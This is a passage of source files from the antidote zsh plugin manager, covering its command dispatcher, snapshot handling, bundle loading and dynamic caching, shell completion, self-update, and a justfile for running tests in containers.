${(O)snapshots} } ### Remove snapshots. snapshot_remove() { local snap local -a selected if [[ -n "$1" ]]; then for snap in "$@"; do if [[ ! -r "$snap" ]]; then warn "antidote: snapshot: file not found '$snap'" continue fi del "$snap" say "Removed: $snap" done return fi snapshot_try_picker || return 1 selected=("${(@f)$(snapshot_pick "Select snapshot(s) to remove" --multi)}") \ || return 1 say "Snapshots to remove:" for snap in $selected; do say " $snap" done if ! confirm ':antidote:test:snapshot:remove' \ "Are you sure you want to remove ${#selected} snapshot(s) [Y/n]? "; then say "Cancelled." return 1 fi for snap in $selected; do del "$snap" say "Removed: $snap" done } ##### DISPATCH ### Dispatcher for antidote __private__ commands (used in tests and internals). # # Parses stdin into the bundle matrix for commands that need it, and prints # REPLY/reply for commands that return via those vars. # private_dispatcher() { local cmd err cmd="$1"; shift typeset -g REPLY= case $cmd in bundle_check_critical|bundle_scripter|zsh_script) bundle_parser < <(collect_input "$@") ;; esac "${cmd}" "$@" err=$? case $cmd in tourl|bundle_type|short_repo_name|bundle_name|bundle_dir|__bundle_dir_by_style|print_path) say "$REPLY" ;; initfiles) (( $#reply )) && printf '%s\n' "${reply[@]}" ;; esac return $err } antidote() { local o_help o_version o_diagnostics zparseopts ${ZPARSEOPTS} -- \ h=o_help -help=h \ v=o_version -version=v \ -diagnostics=o_diagnostics || return 1 if (( ${#o_version} )); then version return 0 fi if (( ${#o_diagnostics} )); then diagnostics return 0 fi if (( ${#o_help} )) || [[ ${#} -eq 0 ]]; then usage return fi local cmd=$1; shift if [[ "$cmd" == __private__ ]]; then private_dispatcher "$@" return $? elif (( $+functions[antidote_${cmd}] )); then "antidote_${cmd}" "$@" return $? else die "antidote: command not found '${cmd}'" fi } ##### INITIALIZATION # Initialize antidote global variables from zstyles and environment. { typeset -g ANTIDOTE_ZSH="${0:a}" typeset -g _ANTIDOTE_VERSION="2.3.0" typeset -g ANTIDOTE_TMPDIR=${ANTIDOTE_TMPDIR:-$TMPDIR} typeset -g _ANTIDOTE_GIT_SITE _ANTIDOTE_GIT_PROTOCOL _ANTIDOTE_GIT_CMD _ANTIDOTE_FZF_CMD _ANTIDOTE_PATH_STYLE typeset -g _ANTIDOTE_FZF_OPTS _ANTIDOTE_FZF_OPTS_FILE _ANTIDOTE_BAT_OPTS typeset -g _ANTIDOTE_DEFER_BUNDLE _ANTIDOTE_FPATH_RULE _ANTIDOTE_BUNDLE_FILE typeset -g _ANTIDOTE_OSTYPE _ANTIDOTE_LOCALAPPDATA typeset -g _ANTIDOTE_VERSION_SHOW_SHA=true _ANTIDOTE_GIT_AUTOSTASH=true typeset -g _ANTIDOTE_GIT_BG_DEEPEN=true _ANTIDOTE_IS_TTY=true zstyle -s ':antidote:bat' opts _ANTIDOTE_BAT_OPTS zstyle -s ':antidote:bundle' file _ANTIDOTE_BUNDLE_FILE || _ANTIDOTE_BUNDLE_FILE=${ZDOTDIR:-$HOME}/.zsh_plugins.txt zstyle -s ':antidote:bundle' path-style _ANTIDOTE_PATH_STYLE || _ANTIDOTE_PATH_STYLE=full zstyle -s ':antidote:defer' bundle _ANTIDOTE_DEFER_BUNDLE || _ANTIDOTE_DEFER_BUNDLE=romkatv/zsh-defer zstyle -s ':antidote:fpath' rule _ANTIDOTE_FPATH_RULE || _ANTIDOTE_FPATH_RULE=append zstyle -s ':antidote:fzf' cmd _ANTIDOTE_FZF_CMD || _ANTIDOTE_FZF_CMD=fzf zstyle -s ':antidote:fzf' opts _ANTIDOTE_FZF_OPTS || _ANTIDOTE_FZF_OPTS=${FZF_DEFAULT_OPTS:-"--border=top --preview-window=right:75%"} zstyle -s ':antidote:fzf' opts_file _ANTIDOTE_FZF_OPTS_FILE || _ANTIDOTE_FZF_OPTS_FILE=$FZF_DEFAULT_OPTS_FILE zstyle -s ':antidote:git' cmd _ANTIDOTE_GIT_CMD || _ANTIDOTE_GIT_CMD=git zstyle -s ':antidote:git' protocol _ANTIDOTE_GIT_PROTOCOL || _ANTIDOTE_GIT_PROTOCOL=https zstyle -s ':antidote:git' site _ANTIDOTE_GIT_SITE || _ANTIDOTE_GIT_SITE=github.com # Tests also have zstyles, but they aren't user facing zstyle -s ':antidote:test:env' LOCALAPPDATA _ANTIDOTE_LOCALAPPDATA || _ANTIDOTE_LOCALAPPDATA="${LOCALAPPDATA:-$LocalAppData}" zstyle -s ':antidote:test:env' OSTYPE _ANTIDOTE_OSTYPE || _ANTIDOTE_OSTYPE=$OSTYPE zstyle -t ':antidote:test' tty || [[ -t 1 ]] || _ANTIDOTE_IS_TTY=false zstyle -T ':antidote:test:git' autostash || _ANTIDOTE_GIT_AUTOSTASH=false zstyle -T ':antidote:test:git' background-deepen || _ANTIDOTE_GIT_BG_DEEPEN=false zstyle -T ':antidote:test:version' show-sha || _ANTIDOTE_VERSION_SHOW_SHA=false # Legacy use of friendly names overrides all if zstyle -t ':antidote:bundle' use-friendly-names; then _ANTIDOTE_PATH_STYLE=short fi typeset -g ANTIDOTE_HOME if [[ -z "$ANTIDOTE_HOME" ]]; then zstyle -s ':antidote:home' dir ANTIDOTE_HOME || { get_cachedir antidote >/dev/null; ANTIDOTE_HOME=$REPLY } fi typeset -g _ANTIDOTE_SNAPSHOT_DIR _ANTIDOTE_SNAPSHOT_MAX _ANTIDOTE_SNAPSHOT_DATEFMT _ANTIDOTE_AUTOSNAPSHOT=false zstyle -s ':antidote:snapshot' dir _ANTIDOTE_SNAPSHOT_DIR || { get_datadir antidote >/dev/null; _ANTIDOTE_SNAPSHOT_DIR=$REPLY/snapshots } zstyle -s ':antidote:snapshot' max _ANTIDOTE_SNAPSHOT_MAX || _ANTIDOTE_SNAPSHOT_MAX=100 zstyle -s ':antidote:snapshot' dateformat _ANTIDOTE_SNAPSHOT_DATEFMT || _ANTIDOTE_SNAPSHOT_DATEFMT='%Y-%m-%d %H:%M:%S %Z' zstyle -T ':antidote:snapshot:automatic' enabled && _ANTIDOTE_AUTOSNAPSHOT=true _ANTIDOTE_SNAPSHOT_DIR=${~_ANTIDOTE_SNAPSHOT_DIR} typeset -gA _antidote_using_context _antidote_preset_context [[ -n "$ANTIDOTE_CONTEXT" ]] && eval "$ANTIDOTE_CONTEXT" } # read is a builtin; $(cat <] [ ...] flags: -h, --help Show context-sensitive help -v, --version Show application version --diagnostics Show antidote and system diagnostics commands: bundle Clone bundle(s) and generate the static load script install Clone a new bundle and add it to your plugins file update Update antidote and its cloned bundles purge Remove a cloned bundle home Print where antidote is cloning bundles list List cloned bundles path Print the path of a cloned bundle snapshot Save, restore, or list bundle snapshots init Initialize the shell for dynamic bundles EOS _ANTIDOTE_HELP=${_ANTIDOTE_HELP%$'\n'} antidote "$@" ERR=$? # Internal profiling support if [[ -n "$ANTIDOTE_PROFILE" ]]; then zprof >> "${ANTIDOTE_PROFILE_OUT:-/tmp/antidote-profile.zprof}" fi [[ "$ERR" -eq 0 ]] || exit $ERR mattmc3-antidote-9bb69ab/functions/000077500000000000000000000000001523541175400174065ustar00rootroot00000000000000mattmc3-antidote-9bb69ab/functions/_antidote000066400000000000000000000114211523541175400212760ustar00rootroot00000000000000#compdef antidote function _antidote_subcommands { local usage=$( antidote --help | command awk ' BEGIN{OFS=":"; p=0} /^commands:$/ {p=1; next} !p{next} { for(i=3; i<=NF; i++) { $2=$2" "$i } } { print $1,$2 } ' ) local -a subcommands=("${(@f)usage}") _describe -t subcommands 'subcommand' subcommands "$@" } function _antidote_installed_bundles { local -a bundles=("${(@f)$(antidote list --url | awk -F'/' '{print $(NF-1)"/"$NF}')}") _describe 'installed bundles' bundles } function _antidote_bundle_kinds { local -a kinds=( 'autoload' 'clone' 'defer' 'fpath' 'path' 'zsh' ) _describe 'bundle kinds' kinds } function _antidote { typeset -A opt_args local context state line local curcontext="$curcontext" local ret=1 _arguments -C \ '(- *)'{-v,--version}'[Show version]' \ '(- *)'{-h,--help}'[Show usage information]' \ '(- *)--diagnostics[Show antidote and system diagnostics]' \ '1: :_antidote_subcommands' \ '*:: :->subcmds' && return 0 case "$state" in (subcmds) case $words[1] in (bundle|home|init) _arguments \ '(- *)'{-h,--help}'[Show usage information]' \ && ret=0 ;; (help) _arguments \ '(- *)'{-h,--help}'[Show usage information]' \ '1: :_antidote_subcommands' \ && ret=0 ;; (load) _arguments \ '(- *)'{-h,--help}'[Show usage information]' \ '1::bundle file:_files' \ '2::static file:_files' \ && ret=0 ;; (path) _arguments \ '(- *)'{-h,--help}'[Show usage information]' \ '*: :_antidote_installed_bundles' \ && ret=0 ;; (install) _arguments \ '(- *)'{-h,--help}'[Show usage information]' \ '(-k --kind)'{-k,--kind}'[The kind of bundle]:kind:_antidote_bundle_kinds' \ '(-p --path)'{-p,--path}'[A relative subpath within the bundle where the plugin is located]:path:' \ '(-a --autoload)'{-a,--autoload}'[A relative subpath within the bundle where autoload function files are located]:path:' \ '(-c --conditional)'{-c,--conditional}'[A conditional function used to check whether to load the bundle]:function:' \ '(-b --branch)'{-b,--branch}'[The git branch to use]:branch:' \ '--pin[Pin the bundle to a specific commit SHA]:sha:' \ '--pre[A function to be called prior to loading the bundle]:function:' \ '--post[A function to be called after loading the bundle]:function:' \ '1:bundle:' \ '2::bundle file:_files' \ && ret=0 ;; (list) _arguments \ '(- *)'{-h,--help}'[Show usage information]' \ '(-l --long)'{-l,--long}'[Show detailed information for each bundle]' \ '(-d --dirs)'{-d,--dirs}'[Show bundle directory paths]' \ '(-u --url)'{-u,--url}'[Show bundle URLs only]' \ '(-j --jsonl)'{-j,--jsonl}'[Output the bundle list in JSONL format]' \ && ret=0 ;; (purge) _arguments \ '(- *)'{-h,--help}'[Show usage information]' \ '(-a --all)'{-a,--all}'[Purge all cloned bundles]' \ "*::antidote bundles:_antidote_installed_bundles" \ && ret=0 ;; (snapshot) if (( CURRENT == 2 )); then local -a snapshot_cmds=( 'home:Show the snapshot directory' 'list:List available snapshots' 'remove:Remove snapshots' 'restore:Restore bundles from a snapshot' 'save:Save a snapshot of all cloned bundles' ) _describe 'snapshot command' snapshot_cmds && ret=0 elif [[ "$words[2]" == remove ]] || { (( CURRENT == 3 )) && [[ "$words[2]" == restore ]] }; then local -a snaps=("${(@f)$(antidote snapshot list 2>/dev/null)}") if (( $#snaps )); then compadd -V unsorted -a snaps && ret=0 fi elif (( CURRENT == 3 )) && [[ "$words[2]" == save ]]; then _files && ret=0 fi ;; (update) _arguments \ '(- *)'{-h,--help}'[Show usage information]' \ '(-s --self)'{-s,--self}'[Update antidote]' \ '(-b --bundles)'{-b,--bundles}'[Update bundles]' \ '(-n --dry-run)'{-n,--dry-run}'[Check for updates without making changes]' \ && ret=0 ;; (*) _arguments \ '(- *)'{-h,--help}'[Show usage information]' \ '*: :_files' \ && ret=0 ;; esac ;; esac return ret } _antidote "$@" # vim: ft=zsh sw=2 ts=2 et mattmc3-antidote-9bb69ab/functions/antidote000066400000000000000000000013361523541175400211430ustar00rootroot00000000000000#!/bin/zsh ### antidote - the cure to slow zsh plugin management # # https://antidote.sh # run `antidote -h` for usage # # This file exists so antidote can be lazy-loaded from its functions # directory, without sourcing antidote.zsh up front: # # fpath=(/path/to/antidote/functions $fpath) # autoload -Uz antidote # # The first antidote call then sources antidote.zsh to define the rest. # Sourcing antidote.zsh directly reaches the same place via antidote-setup, # which autoloads every file in this directory. # # Note: this gets overridden if using `antidote init`. # #function antidote { 0=${(%):-%x} if ! typeset -f antidote-dispatch > /dev/null; then source ${0:a:h:h}/antidote.zsh fi antidote-dispatch "$@" #} mattmc3-antidote-9bb69ab/functions/antidote-bundle-dynamic000066400000000000000000000114431523541175400240340ustar00rootroot00000000000000#!/bin/zsh ### Dynamic-mode `antidote bundle` with an input-keyed script cache. # # usage: antidote-bundle-dynamic [...] # # Generated load scripts live under # /.dynamic/.zsh. Inputs include # ':antidote:*' zstyles, antidote/config mtimes, active using: context, # and bundle arguments. Cold scripts run before being published, and the # publish writes to a temp then renames, so a concurrent reader sees the # old file or the new one and never a partial. Write failures are # swallowed: a bundle that loaded is a success even if it did not cache. #function antidote-bundle-dynamic { local __adote_ahome="$1" __adote_configfile="$2" local __adote_ret=0 __adote_script= __adote_scriptfile= shift 2 # Piped/redirected input (no bundle args) bypasses the cache - the # whole batch is a single subprocess already. if (( $# == 0 )); then __adote_script="$(ANTIDOTE_DYNAMIC=true antidote-dispatch bundle)" || return source <( print -r -- "$__adote_script" ) return fi # djb2 hash of $1 in pure zsh; REPLY gets the decimal value. $2 resumes # from an earlier running value, so hash(a b) == hash(a+b). __adote_dynamic_hash() { emulate -L zsh local c local -a chs local -i hash i hash=${2:-5381} chs=(${(s::)1}) for (( i = 1; i <= $#chs; i++ )); do c=$chs[i] (( hash = (hash * 33 + #c) % 4294967296 )) done REPLY=$hash } # Hash every input that can change the generated script. REPLY gets # the deterministic cache path. __adote_dynamic_cachefile() { emulate -L zsh setopt local_options extended_glob local ahome="$1" configfile="$2"; shift 2 local zstyles base key pat sty k local zsh_mtime=0 config_mtime=0 local -a mtimes patterns styles vals zmodload -F zsh/stat b:zstat 2>/dev/null zstat -A mtimes +mtime -- "$ANTIDOTE_ZSH" 2>/dev/null && zsh_mtime=$mtimes[1] zstat -A mtimes +mtime -- "$configfile" 2>/dev/null && config_mtime=$mtimes[1] zstyle -g patterns for pat in ${(o)patterns}; do [[ "$pat" == :antidote:* ]] || continue zstyle -g styles "$pat" for sty in ${(o)styles}; do vals=() zstyle -g vals "$pat" "$sty" zstyles+="$pat $sty ${(j: :)vals}"$'\n' done done # The mtime alone misses an upgrade that preserves it (cp -p, rsync # -a, a package manager restoring archive times), so key on the # version too. Literal, not a subprocess call: bumpver keeps it in # sync and dynamic_cache.bats fails if it drifts. base="antidote:2.3.0"$'\n' base+="$ANTIDOTE_ZSH:$zsh_mtime"$'\n'"$configfile:$config_mtime"$'\n' base+="$zstyles"$'\n' # Every bundle call in a shell shares this prefix, so hash it once and # resume from it. Rehashes on its own if any input changed. if [[ "$base" != "$_antidote_dynamic_base" ]]; then __adote_dynamic_hash "$base" typeset -g _antidote_dynamic_base="$base" _antidote_dynamic_baseh="$REPLY" fi key="$*" for k in ${(ok)_antidote_using_context}; do key+="|$k=${_antidote_using_context[$k]}" done __adote_dynamic_hash "$key" "$_antidote_dynamic_baseh" REPLY="$ahome/.dynamic/${REPLY}.zsh" } # Source outside any emulate scope so plugin setopts and setups stick # in the caller's shell, same as sourcing a static file. A .zwc next # to the script file is picked up automatically. __adote_dynamic_cachefile "$__adote_ahome" "$__adote_configfile" "$@" __adote_scriptfile="$REPLY" if [[ -e "$__adote_scriptfile" || -e "$__adote_scriptfile.zwc" ]]; then builtin source "$__adote_scriptfile" __adote_ret=$? else __adote_script="$(ANTIDOTE_DYNAMIC=true antidote-dispatch bundle "$@")" __adote_ret=$? if (( ! __adote_ret )); then builtin source <( print -r -- "$__adote_script" ) __adote_ret=$? if (( ! __adote_ret )); then ( emulate -L zsh local tmp # Reap our own temp on any exit path. Scoped to this subshell, # so a concurrent writer's temp is never touched. After a # successful mv the source is gone and this is a no-op. trap '[[ -n "$tmp" ]] && command rm -f -- "$tmp"' EXIT INT TERM HUP command mkdir -p -- "${__adote_scriptfile:h}" || exit tmp=$(mktemp "${__adote_scriptfile}.new.XXXXXXXXXX") || exit if ! print -r -- "$__adote_script" >| "$tmp" || ! command mv -f -- "$tmp" "$__adote_scriptfile"; then exit fi if zstyle -t ':antidote:dynamic' zcompile; then builtin autoload -Uz zrecompile zrecompile -pq "$__adote_scriptfile" fi ) /dev/null fi fi fi unfunction __adote_dynamic_hash __adote_dynamic_cachefile unset REPLY return $__adote_ret #} mattmc3-antidote-9bb69ab/functions/antidote-dispatch000066400000000000000000000040651523541175400227420ustar00rootroot00000000000000#!/bin/zsh ### The antidote dispatcher. # This allows the `antidote` function to be overridden via `antidote init`. # The init command switches antidote from static mode to dynamic mode, but this # core dispatcher remains. #function antidote-dispatch { 0=${(%):-%x} # KSH_ARRAYS and SH_GLOB break this code, but emulate -L would stop # sourced plugin setopts sticking. Turn them off, restore on exit. local ksh_arrays=0 sh_glob=0 [[ -o KSH_ARRAYS ]] && ksh_arrays=1 && unsetopt KSH_ARRAYS [[ -o SH_GLOB ]] && sh_glob=1 && unsetopt SH_GLOB __antidote_dispatch_usage() { antidote-zsh __private__ usage print -r -- " help Show documentation" print -r -- " load Statically source all bundles from the plugins file" } local ret=0 if [[ "$1" == "__private__" ]]; then # Route __private__ directly to antidote-zsh subprocess antidote-zsh "$@" ret=$? elif [[ -z "$1" ]]; then __antidote_dispatch_usage ret=2 elif [[ "$1" == -h || "$1" == --help ]]; then __antidote_dispatch_usage elif [[ "$1" == -* ]]; then # Flags like --version, --diagnostics go to subprocess antidote-zsh "$@" ret=$? else local cmd=$1; shift if (( $+functions[antidote-${cmd}] )); then # Commands with parent-shell wrappers: help, home, init, load, update antidote-${cmd} "$@" ret=$? else # Check for -h/--help on any subcommand local -a o_help=() zparseopts ${_adote_zparopt_flags} -- h=o_help -help=h 2>/dev/null if (( $#o_help )); then antidote-help "$cmd" ret=$? elif [[ "$cmd" == path ]]; then set -- "${(@e)@}" # Expand variables in parent shell context antidote-zsh "$cmd" "$@" ret=$? else antidote-zsh "$cmd" "$@" ret=$? fi fi fi # guard: nested dispatch calls (eg load -> bundle) share this function name (( $+functions[__antidote_dispatch_usage] )) && unfunction __antidote_dispatch_usage (( ksh_arrays )) && setopt KSH_ARRAYS (( sh_glob )) && setopt SH_GLOB return $ret #} mattmc3-antidote-9bb69ab/functions/antidote-help000066400000000000000000000016501523541175400220700ustar00rootroot00000000000000#!/bin/zsh ### Show antidote documentation. # # When called with no arguments, shows the antidote man page. # When called with a topic, shows the man page for that topic. # #function antidote-help { __antidote_usage() { antidote-zsh __private__ usage print -r -- " help Show documentation" print -r -- " load Statically source all bundles from the plugins file" } local manpage if [[ "$1" == -h || "$1" == --help ]]; then manpage=antidote-help elif [[ -z "$1" || "$1" == antidote ]]; then manpage=antidote else manpage="antidote-${1}" fi local ret=0 if (( $+commands[man] )) && man "$manpage" 2>/dev/null; then : else if [[ "$manpage" != antidote && "$manpage" != antidote-help ]]; then printf '%s\n' "No manual entry for $manpage" ret=1 fi __antidote_usage fi (( $+functions[__antidote_usage] )) && unfunction __antidote_usage return $ret #} mattmc3-antidote-9bb69ab/functions/antidote-home000066400000000000000000000022421523541175400220660ustar00rootroot00000000000000#!/bin/zsh ### Print where antidote clones bundles. # # Resolves ANTIDOTE_HOME in the parent shell (no subprocess), mirroring # the precedence in antidote.zsh's init + get_dir. Sets REPLY and prints # it, so hot-path callers (antidote-load) can read $REPLY without a fork. # Config-file zstyles reach this shell via antidote-setup. #function antidote-home { emulate -L zsh setopt local_options extended_glob if [[ "$1" == -h || "$1" == --help ]]; then antidote-help home return $? fi local ostype localappdata typeset -g REPLY if [[ -n "$ANTIDOTE_HOME" ]]; then REPLY=$ANTIDOTE_HOME elif ! zstyle -s ':antidote:home' dir REPLY; then zstyle -s ':antidote:test:env' OSTYPE ostype || ostype=$OSTYPE if [[ $ostype == darwin* ]]; then REPLY=$HOME/Library/Caches/antidote elif [[ $ostype == (cygwin|msys)* ]]; then zstyle -s ':antidote:test:env' LOCALAPPDATA localappdata || localappdata=${LOCALAPPDATA:-$LocalAppData} (( $+commands[cygpath] )) && localappdata=$(cygpath "$localappdata") REPLY=$localappdata/antidote else REPLY=${XDG_CACHE_HOME:-$HOME/.cache}/antidote fi fi print -r -- "$REPLY" #} mattmc3-antidote-9bb69ab/functions/antidote-init000066400000000000000000000017121523541175400221020ustar00rootroot00000000000000#!/bin/zsh ### Emit the dynamic-mode antidote function. # # Mirrors antidote_init in antidote.zsh, but resolves home and config in # the parent shell so `source <(antidote init)` costs no subprocess. # #function antidote-init { emulate -L zsh setopt local_options if [[ "$1" == -h || "$1" == --help ]]; then antidote-help init return $? fi # antidote-setup normalized ANTIDOTE_CONFIG. >/dev/null drops the print. local ahome script antidote-home >/dev/null; ahome=$REPLY # Keep this template byte-identical to _ANTIDOTE_INIT_SCRIPT. read -rd '' script <<'EOS' || true #!/usr/bin/env zsh function antidote { case "$1" in bundle) shift antidote-bundle-dynamic @ANTIDOTE_HOME@ @ANTIDOTE_CONFIG@ "$@" ;; *) ANTIDOTE_DYNAMIC=true antidote-dispatch $@ ;; esac } EOS script=${script//@ANTIDOTE_HOME@/${(qq)ahome}} script=${script//@ANTIDOTE_CONFIG@/${(qq)ANTIDOTE_CONFIG}} print -rn -- "$script" #} mattmc3-antidote-9bb69ab/functions/antidote-load000066400000000000000000000057501523541175400220640ustar00rootroot00000000000000#!/bin/zsh ### Statically source all bundles from the plugins file. #function antidote-load { if [[ "$1" == -h || "$1" == --help ]]; then antidote-help load return $? fi local ret=0 typeset -g REPLY= () { emulate -L zsh setopt local_options extended_glob no_monitor pipefail local bundlefile="$1" newstatic= local -a stale=() if [[ -z "$bundlefile" ]]; then zstyle -s ':antidote:bundle' file 'bundlefile' || bundlefile=${ZDOTDIR:-$HOME}/.zsh_plugins.txt fi local staticfile="$2" if [[ -z "$staticfile" ]]; then zstyle -s ':antidote:static' file 'staticfile' if [[ -z "$staticfile" ]]; then if [[ -z "$bundlefile:t:r" ]]; then staticfile=${bundlefile}.zsh else staticfile=${bundlefile:r}.zsh fi fi fi if [[ ! -e "$bundlefile" ]]; then print -ru2 -- "antidote: bundle file not found '$bundlefile'." return 1 elif [[ "$bundlefile" == "$staticfile" ]]; then print -ru2 -- "antidote: bundle file and static file are the same '$bundlefile'." return 1 fi local force_bundle=0 if ! zstyle -t ':antidote:load:checkfile' disabled; then # Resolve home in this shell (sets REPLY) rather than forking # `antidote home` on every startup. >/dev/null drops the print. local ahome antidote-home >/dev/null; ahome=$REPLY local loadable_check_path="$ahome/.antidote.load" if [[ ! -e $loadable_check_path ]]; then force_bundle=1 [[ -d $loadable_check_path:h ]] || mkdir -p $loadable_check_path:h touch $loadable_check_path fi fi if [[ ! $staticfile -nt $bundlefile ]] || [[ $force_bundle -eq 1 ]]; then mkdir -p "${staticfile:A:h}" || return 2 # Concurrent shells might attempt to rebuild simultaneously so we use a temp # static file. The first rename wins and the rest hit ENOENT (no such file). # We use pid instead of mktemp to avoid a fork since this is a hot path. newstatic="${staticfile:h}/.${staticfile:t}.new.$$" # Reap any lingering temp files in the background using an age cutoff so we # avoid anything currently being rebuilt. { stale=( ${staticfile:h}/.${staticfile:t}.new.*(Nmm+60) ) (( $#stale )) && command rm -f -- $stale } &! # Rebuild the static file. if antidote bundle <"$bundlefile" >|"$newstatic" && command mv -f -- "$newstatic" "$staticfile"; then if [[ -r "${staticfile}.zwc" ]] && ! zstyle -t ':antidote:static' zcompile; then antidote-zsh __private__ del -f -- "${staticfile}.zwc" fi else # Fall back to the last known-good static file. command rm -f -- "$newstatic" (( force_bundle )) && command rm -f -- "$loadable_check_path" typeset -g REPLY=$staticfile return 1 fi fi typeset -g REPLY=$staticfile } "$@" || ret=$? { [[ -f "$REPLY" ]] && source "$REPLY" } || (( ret )) || ret=2 unset REPLY return $ret #} mattmc3-antidote-9bb69ab/functions/antidote-setup000066400000000000000000000035211523541175400222770ustar00rootroot00000000000000#!/bin/zsh ### Setup antidote. #function antidote-setup { 0=${(%):-%x} typeset -gH ANTIDOTE_ZSH="${0:a:h:h}/antidote.zsh" typeset -gU fpath fpath=( "${0:a:h}" $fpath ) local fn for fn in ${0:a:h}/*; do [[ ${fn:t} != 'antidote-setup' ]] || continue if typeset -f ${fn:t} > /dev/null; then unfunction -- ${fn:t} fi # autoload extensionless function files [[ -z "${fn:e}" ]] && autoload -Uz "${fn}" done # man pages if [[ "$MANPATH" != *"${0:a:h:h}/man"* ]]; then export MANPATH="${0:a:h:h}/man:$MANPATH" fi # Only the subprocess sourced the config file, so parent-shell code # never saw its zstyles. Source it once, here. typeset -g ANTIDOTE_CONFIG=${ANTIDOTE_CONFIG:-${XDG_CONFIG_HOME:-$HOME/.config}/antidote/config.zsh} if [[ -r "$ANTIDOTE_CONFIG" ]]; then # The autoload route reaches this after the user's own zstyles, so # keep the config from overwriting them: it supplies defaults only. zstyle() { local -a _adote_set if [[ "$1" != -* ]] && (( $# >= 3 )) && builtin zstyle -g _adote_set "$1" "$2"; then return 0 fi builtin zstyle "$@" } builtin source "$ANTIDOTE_CONFIG" unfunction zstyle fi # Tells the subprocess the file was already tried, so it skips its own # source and takes the result from the zstyles handed across. builtin zstyle ':antidote:config' sourced 'yes' builtin autoload -Uz is-at-least if is-at-least 5.8; then # -D : Delete flags from the param array once they are detected # -M : Map a flag to alternative names (useful for defining -s(hort) and --long options) # -F : Fail if a flag is provided that was not defined in the zparseopts spec # the -F option was added in 5.8 typeset -gHa _adote_zparopt_flags=( -D -M -F ) else typeset -gHa _adote_zparopt_flags=( -D -M ) fi #} mattmc3-antidote-9bb69ab/functions/antidote-update000066400000000000000000000027111523541175400224210ustar00rootroot00000000000000#!/bin/zsh ### Update antidote and/or bundles. #function antidote-update { 0=${(%):-%x} if [[ "$1" == -h || "$1" == --help ]]; then antidote-help update return $? fi local o_self o_bundles o_dry_run zparseopts ${_adote_zparopt_flags} -- \ s=o_self -self=s \ b=o_bundles -bundles=b \ n=o_dry_run -dry-run=n 2>/dev/null # bundle update via subprocess (pass through flags it understands) local -a o_passthru=( $o_dry_run ) local ret=0 if (( $#o_bundles )) || ! (( $#o_self )); then antidote-zsh update "${o_passthru[@]}" ret=$? fi # self-update in parent shell if (( $#o_self )) || ! (( $#o_bundles )); then local antidote_dir="${0:a:h:h}" if (( $#o_dry_run )); then print "antidote: skipping self-update (dry run)" elif [[ -d "${antidote_dir}/.git" ]]; then print "Updating antidote..." if git -C "$antidote_dir" pull --quiet --rebase 2>/dev/null; then # re-setup antidote to pick up new version (( $+functions[antidote-setup] )) && unfunction antidote-setup builtin autoload -Uz ${0:a:h}/antidote-setup antidote-setup print "antidote self-update complete." print "" antidote --version else print -ru2 "antidote: self-update failed." ret=1 fi else print "Self updating is disabled in this build." print "Use your OS package manager to update antidote itself." fi fi return $ret #} mattmc3-antidote-9bb69ab/functions/antidote-zsh000066400000000000000000000012311523541175400217370ustar00rootroot00000000000000#!/bin/zsh ### Run antidote.zsh in a subprocess. #function antidote-zsh { emulate -L zsh; setopt local_options # Hand every parser context to the subprocess in one variable. They are # found by name, so adding one needs no change here. local -a ctx zmodload -F zsh/parameter p:parameters ctx=(${(ok)parameters[(I)_antidote_*_context]}) ANTIDOTE_ZSTYLES="$(zstyle -L ':antidote:*')" \ ANTIDOTE_CONFIG="${ANTIDOTE_CONFIG}" \ ANTIDOTE_HOME="${ANTIDOTE_HOME}" \ ANTIDOTE_TMPDIR="${ANTIDOTE_TMPDIR:-$TMPDIR}" \ ANTIDOTE_DYNAMIC="${ANTIDOTE_DYNAMIC}" \ ANTIDOTE_CONTEXT="${ctx:+$(typeset -p $ctx 2>/dev/null)}" \ zsh "$ANTIDOTE_ZSH" "$@" #} mattmc3-antidote-9bb69ab/justfile000066400000000000000000000066371523541175400171620ustar00rootroot00000000000000# antidote - the cure to slow zsh plugin management set shell := ["zsh", "-c"] # concurrent bats jobs (override: `just bats_jobs=1 test`) bats_jobs := "8" # display this justfile's help information [private] default: @just --list # run a command locally or in a test container (env: "latest", "542", or "local") [private] _run env cmd: #!/usr/bin/env zsh if [[ "{{env}}" == "local" ]]; then {{cmd}} elif [[ "{{env}}" == "542" ]]; then podman run --rm -v "$PWD:/workspace:z" antidote-zsh542 \ /usr/local/bin/zsh -c 'cd /workspace && {{cmd}}' elif [[ "{{env}}" == "latest" ]]; then podman run --rm -v "$PWD:/workspace:z" antidote-zsh-latest \ /bin/zsh -c 'cd /workspace && {{cmd}}' else print -ru2 "just: invalid env '{{env}}': expected 'latest', '542', or 'local'" exit 1 fi # run build tasks (man pages, tests) build: ./tools/buildman ./tests/run # rebuild man pages buildman: ./tools/buildman # build and bump revision version release: ./tools/buildman ./tests/run --all ./tools/bumpver revision # run only unittests (env: "latest", "542", or "local") test env="latest": (_run env "BATS_JOBS=" + bats_jobs + " ./tests/run") # run a specific test file (env: "latest", "542", or "local") test-file testfile env="latest": (_run env "BATS_JOBS=" + bats_jobs + " ./tests/run \"" + testfile + "\"") # run all tests including network tests (env: "latest", "542", or "local") test-all env="latest": (_run env "BATS_JOBS=" + bats_jobs + " ./tests/run --all") # run the real network tests (env: "latest", "542", or "local") test-real env="latest": (_run env "BATS_JOBS=" + bats_jobs + " ./tests/run --real") # profile antidote operations with zprof (env: "latest", "542", or "local") profile env="latest": (_run env "./tools/antidote-profile") # benchmark antidote load performance (env: "latest", "542", or "local") bench env="local": (_run env "./tools/antidote-bench") # bump the major version (X.0.0) bump-maj: ./tools/bumpver major # bump the minor version (0.X.0) bump-min: ./tools/bumpver minor # bump the revision version (0.0.X) bump-rev: ./tools/bumpver revision # show antidote diagnostics (env: "latest", "542", or "local") diagnostics env="latest": (_run env "source ./tests/__init__.zsh && t_setup && antidote --diagnostics") # start podman machine and build all test containers container-up: podman machine start 2>/dev/null || true just container-build just container-build 542 # build a test container (use '542' for Zsh 5.4.2) container-build zshver="latest": #!/usr/bin/env zsh if [[ "{{zshver}}" == "542" ]]; then podman build -f Dockerfile.542 -t antidote-zsh542 . else podman build -t antidote-zsh-latest . fi # force-remove and rebuild a test container (use '542' for Zsh 5.4.2) container-rebuild zshver="latest": #!/usr/bin/env zsh if [[ "{{zshver}}" == "542" ]]; then podman rmi -f antidote-zsh542 2>/dev/null || true podman build -f Dockerfile.542 -t antidote-zsh542 . else podman rmi -f antidote-zsh-latest 2>/dev/null || true podman build -t antidote-zsh-latest . fi # open a shell in a test container (use '542' for Zsh 5.4.2) container-shell zshver="latest": #!/usr/bin/env zsh image="antidote-zsh-latest" [[ "{{zshver}}" == "542" ]] && 